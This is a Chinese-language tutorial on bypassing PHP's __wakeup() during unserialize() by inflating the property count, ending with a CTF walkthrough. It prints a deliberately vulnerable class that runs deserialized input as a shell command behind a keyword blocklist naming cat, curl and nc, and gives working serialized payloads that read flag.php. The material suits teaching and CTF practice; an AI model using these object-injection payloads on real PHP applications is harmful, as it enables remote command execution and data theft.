PHP的__wakeup()函数漏洞

unserialize() 反序列化产生一个对象时, 会检查对象是否存在一个__wakeup()方法, 如果有则先调用它进行反序列化前的准备工作, 例如重新建立数据库连接, 或执行其它初始化操作.

官方示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

当被反序列化的字符串中表示的对象属性个数大于对象实际的个数时, __wakeup()将被跳过执行.

实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php	//test.php
class ABC
{
public $a = 1;
public $b = 2;
function __wakeup(){
echo "Wake Up!";
}
}
$i = new ABC();
echo serialize($i);
//输出为
//O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}
?>

改一下代码

1
2
3
4
5
6
7
8
9
10
11
<?php	//test.php
class ABC
{
public $a = 1;
public $b = 2;
function __wakeup(){
echo "Wake Up!";
}
}
unserialize($_GET["str"]);
?>

把刚才的O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}带入参数str中请求

image-20230406231932410

反序列化触发了__wakeup()方法, 绕过只需要对属性个数进行修改

修改前:O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}

修改后:O:3:"ABC":3:{s:1:"a";i:1;s:1:"b";i:2;}

也就是从2个属性改成3个属性.

更改属性数量导致与实际数量不符会导致反序列化失败, 但是unserialize()会将遇到错误之前能填充的属性都填充上, 遇到错误之后再执行__destruct()将构造到一半的对象析构, 并返回一个false. 所以在__destruct()方法里可以正常访问已经被填充的属性.

接下来是一道CTF题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>

考点就是绕过__wakeup(), 首先生成Payload

1
2
3
4
5
6
7
8
9
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'ls';
}
$i = new ctf();
fwrite(fopen("data.bin", "wb"), serialize($i));
?>

访问一下, 查看data.bin文件

image-20230407000850092

仔细看的话可以发现, *的两边都各有一个\x00字节, 但是这在文本上是显示不出来的, 这也是为什么采用写入文件再查看这种麻烦的方式而不采用echo直接浏览器查看.

所以构造Payload的时候要采用%00\x00字节补上去.

所以Payload就是: O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

image-20230407001903508

因为cat被过滤了, 所以用tac就可以了

最终Payload: O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}